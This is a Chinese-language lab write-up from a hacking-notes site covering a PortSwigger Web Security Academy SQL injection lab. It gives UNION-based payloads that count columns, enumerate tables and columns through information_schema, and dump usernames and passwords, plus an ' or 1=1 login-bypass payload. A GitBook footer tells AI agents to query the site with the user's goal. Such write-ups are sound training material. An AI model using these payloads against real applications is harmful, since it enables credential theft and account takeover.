> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/non-oracle-database-enumeration.md).

# 非 Oracle 数据库枚举

非 Oracle 数据库枚举笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### SQL 注入攻击，在非 Oracle 数据库中列出数据库内容

#### 上下文

* 易受攻击的参数： `类别` 过滤器（通过注入 `WHERE`).
* 应用程序在响应中返回 SQL 结果，从而允许 `UNION`基于……的提取。

#### 目标

* 识别包含凭据的表名，发现其列，提取 `用户名` / `密码` 配对并以……身份连接 `administrator`.

#### 方法论（简明阶段）

1. **确定列数**/ 示例：

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* 逐步增加索引直到触发错误 → 确定列数 `UNION`.

2. **验证 `UNION SELECT`**/ 示例（2 列）：

   ```sql
   ' UNION SELECT '1','2'-- -
   ```

* 适配返回的 N 列（使用 `NULL` 对于无关列）。

3. \*\* 列出表\*\*（非 Oracle 基础 — `information_schema`)

   ```sql
   ' UNION SELECT NULL, table_name
     FROM information_schema.tables
     WHERE table_schema = 'public'-- -
   ```

* 允许你列出 `public` 模式中的表（兼容 Postgres/MySQL）。

4. 列出已识别表的列

```sql
' UNION SELECT NULL, column_name
  FROM information_schema.columns
  WHERE table_schema = 'public' AND table_name = 'users_arejzy'-- -
```

* 替换 `users_arejzy` 与已发现的表一起。

5. 提取内容（转储）

示例（已识别列 password/ qxbwwb、username/ lidnwi）：

```sql
' UNION SELECT password_qxbwwb, username_lidnwi
  FROM users_arejzy-- -
```

* 根据易受攻击的请求调整列的顺序/类型（如有必要，使用 `CAST`/`CONCAT`/`NULL` ）。

6. 绕过 / 登录

* 一旦找回 username = administrator 和 password，通过身份验证页面连接。
* 或者，如果无法直接访问表，则使用身份绕过载荷（例如 username = ' or 1=1-- -），但为了取证，直接外泄更可取。

#### 预期结果

* 表名列表、列，然后转储凭据。
* 成功以……身份连接 `administrator` 使用窃取的凭据。

#### 影响

* 攻陷账户（如果是管理员则完全提权），提取敏感信息，修改/删除数据，可能导致勒索。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/non-oracle-database-enumeration.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.